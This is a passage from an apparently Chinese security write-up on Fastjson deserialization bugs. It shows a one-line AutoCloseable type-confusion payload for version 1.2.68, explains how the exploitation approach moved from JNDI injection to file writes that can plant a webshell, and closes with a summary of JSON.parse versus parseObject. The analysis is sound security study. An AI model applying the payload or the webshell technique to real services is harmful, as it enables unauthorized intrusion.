payload(未开启ATS)
{"@type":"java.lang.AutoCloseable", "@type":"AutoCloseableEvil"}
虽然能利用了,但是这几行基本杜绝了JNDI注入的风险,只能另寻出路。
在 Fastjson 1.2.68 版本上,由浅蓝师傅挖提出了使用 expectClass 中的 AutoCloseable 进行文件读写操作的思路:“IntputStream 和 OutputStream 都是实现自 AutoCloseable 接口的,而且也没有被列入黑名单,所以只要找到合适的类,还是可以进行文件读写等高危操作的。
由此 fastjson 漏洞利用思路从命令执行、JNDI 转为了写文件,在实战情况下,还是可以写入 webshell 拿到权限,因此这个思路成为了 68 版本之后 fastjson 中挖掘漏洞的新思路。
总结
其中JSON.parse
和JSON.parseObject()
的区别是:
1、JSON.parse()
返回的结果是Object
对象,在使用@type
指定类的时候,会获取@type
指定的类并且调用该类的setter
方法
String jsonstr = "{\"@type\":\"User\",\"age\":20,\"sex\":\"男\",\"userName\":\"Le1a\"}";
Object user = JSON.parse(jsonstr);//返回类型为Object
2、JSON.parseObject()
返回的结果是JSONObject
对象,在第二个参数中可以指定返回的对象类型,同时也会调用该类的setter方法
String jsonstr = "{\"age\":20,\"sex\":\"男\",\"userName\":\"Le1a\"}";
User user = JSON.parseObject(jsonstr,User.class);//返回类型直接是User
3、JSON.parseObject()
使用了@type
获取指定类的时候,就会同时调用getter
和setter
方法。
String jsonstr = "{\"@type\":\"User\",\"age\":20,\"sex\":\"男\",\"userName\":\"Le1a\"}";
JSONObject parse = JSON.parseObject(jsonstr);//返回类型为JSONObject
参考
https://blog.csdn.net/cdyunaq/article/details/123330514
https://su18.org/post/fastjson/#8-fastjson-1268
https://su18.org/post/fastjson-1.2.68/#%E5%89%8D%E8%A8%80